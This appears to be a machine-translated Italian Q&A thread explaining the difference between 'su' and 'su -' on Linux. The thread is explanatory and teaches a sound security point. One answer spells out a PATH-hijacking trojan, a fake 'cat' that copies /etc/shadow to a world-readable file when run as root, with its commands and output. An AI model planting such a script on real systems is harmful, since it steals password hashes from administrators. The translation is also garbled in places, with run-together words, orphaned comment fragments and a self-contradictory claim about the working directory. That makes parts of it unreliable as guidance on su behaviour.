Risposte:
su -invoca una shell di login dopo aver cambiato l'utente. Una shell di accesso reimposta la maggior parte delle variabili di ambiente, fornendo una base pulita.
su cambia semplicemente l'utente, fornendo una shell normale con un ambiente quasi uguale a quello del vecchio utente.
Immagina di essere uno sviluppatore di software con accesso normale dell'utente a una macchina e il tuo amministratore ignorante non ti darà l'accesso root. Speriamo di ingannarlo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ora chiedi al tuo amministratore perché non riesci a trovare catil file fittizio nella tua cartella home, semplicemente non funzionerà!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Se il tuo amministratore non è così intelligente o solo un po 'pigro, potrebbe venire alla tua scrivania e provare con i suoi poteri da superutente:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Wow! Grazie, super amministratore!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Lui, lui.
Forse hai notato che la $PATHvariabile danneggiata non è stata ripristinata. Ciò non sarebbe accaduto se invece l'amministratore avesse invocato su -.
umasksimile a 000 o non funzionerà.
sufile all'interno del PERCORSO. Non è così difficile imitare il comportamento del reale su. Il superutente è stato comunque negligente :-)
su --NON è lo stesso di su -: --dice a un gestore di opzioni getopt (o simili) di interrompere l'elaborazione della riga di comando per ulteriori opzioni (utile ad esempio se il resto contiene nomi di file che potrebbero iniziare con un '-'). Vale a dire, in "rm -i - -f": -f viene poi trattato come un argomento normale, ecco come il nome del file per rm -i, e non come un additionnal -fopzione per il rmcomando. Quindi su --è giusto sue no su -! Quindi non su --sarebbe sicuro per l'esempio (divertente e istruttivo) dato da Wag. Usa su -.
su -ti accede completamente come root, mentre ti surende così fingi di essere root.
L'esempio più ovvio di questo è che ~è la home directory di root se usi su -, ma la tua home directory se usi su.
A seconda del sistema in uso, ciò può anche comportare differenze nel file di prompt PATHo cronologia.
Quindi, se fai parte di un team che gestisce un sistema e il tuo collega ti dà un comando da eseguire, sai che funzionerà allo stesso modo se entrambi lo stai usando su -, ma se lo stai usando entrambi su, potrebbero esserci delle differenze diverse configurazioni della shell.
D'altra parte, se vuoi eseguire un comando come root ma usando la tua configurazione, allora forse suè meglio per te.
Inoltre, non dimenticare sudo, che ha -sun'opzione per avviare una shell in esecuzione come root. Naturalmente, anche questo ha regole diverse e cambiano a seconda della distribuzione che stai usando.
.bashrco /etc/bashrco /etc/profile.dscript stanno impostando PATH. Cerca if [ $UID -eq 0 ]o qualcosa del genere.
$USERad esempio rimane invariato.
sudo su?
Uso su - quando sono in una directory come utente normale ma voglio passare a root e rimanere nella stessa directory dopo il passaggio. Quando usi su - passa l'utente a root e ti porta anche a / root che è la home directory di root.
/qualunque cosa sia definita come home directory di root
La differenza principale è:
su - username imposta l'ambiente di shell come se fosse un login pulito come utente specificato, accede e usa variabili di ambiente di utenti specificati,
su username avvia solo una shell con le impostazioni di ambiente correnti per l'utente specificato.
Se il nome utente non è specificato con sue su -, l'account di root è implicito come predefinito.
su --è lo stesso disu.